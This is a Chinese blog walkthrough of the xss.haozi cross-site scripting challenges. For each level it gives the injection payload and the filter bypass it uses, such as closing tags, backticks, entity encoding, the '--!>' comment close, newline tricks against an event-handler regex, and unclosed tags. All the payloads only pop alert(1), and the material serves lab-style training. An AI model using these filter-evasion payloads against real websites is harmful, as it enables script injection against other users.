xss.haozi教程-史上最全详解

kong--kong

已于 2023-04-11 16:10:01 修改

阅读量733

点赞数

分类专栏： CTF XSS 文章标签： web安全 xss

于 2023-04-11 16:09:43 首次发布

本文链接：https://blog.csdn.net/qq_52364123/article/details/130079973

版权

CTF 同时被 2 个专栏收录

6 篇文章 1 订阅

订阅专栏

XSS

1 篇文章 0 订阅

订阅专栏

目录

0x00

0x01

0x02

0x03 反引号替代括号

0x04 编码绕过

0x06 换行绕过

0x08 换行绕过

0x09

0x0A 引入漏洞页面

0x0B 编码绕过

0x0C 双写绕过

0x0D

0x0E 特殊符号绕过

0x0F

0x10

0x11

0x00

<script>alert(1)</script>

0x01

先尝试<script>alert(1)</script>

前后都闭合标签即可

</textarea><script>alert(1)</script><textarea>

0x02

先尝试<script>alert(1)</script>

闭合

"><script>alert(1)</script>

或者先"闭合，鼠标再移到框中

"οnmοuseοver="alert(1)

0x03 反引号替代括号

先尝试<script>alert(1)</script>

发现过滤了()

`替代括号

<script>alert`1`</script>

0x04 编码绕过

本题过滤了()和`

使用实体编码的方式绕过

首先需要加一个svg标签，代表要解码后面的编码值

将(1)用ascii编码转unicode

在线Unicode编码转换工具(ES JSON在线工具)

<svg><script>alert(1)</script>

0x05

尝试<script>alert(1)</script>

发现被注释掉了

html注释

我们尝试闭合注释

结合源码，发现-->会被替换成表情

因此用--!>来闭合

--!><script>alert(1)</script>

0x06 换行绕过

过滤了以auto/on开头，以=结尾的字符串，并且忽略大小写

可以利用换行绕过正则

直接将等于换第二行，=前面就是空的，同时不影响第一行内容的执行

onmousemove

=alert(1)

0x07 单标签

尝试<script>alert(1)</script>

以为是闭合标签

本题过滤了尖括号之间的内容，忽略大小写

利用浏览器的兼容性，右尖括号可以不用写

<body οnlοad="alert(1)"

0x08 换行绕过

尝试<script>alert(1)</script>

尝试闭合标签

发现本题将替换为/* 坏人 */

利用换行绕过

0x09

本题要求我们必须输入指定的网址

可以先闭合script标签，然后注释掉后面

https://www.segmentfault.com"></script><script>alert(1)</script>//

也可以
http://www.segmentfault.com"></script><img src=x οnerrοr="alert(1)
http://www.segmentfault.com"></script><body οnlοad="alert(1)"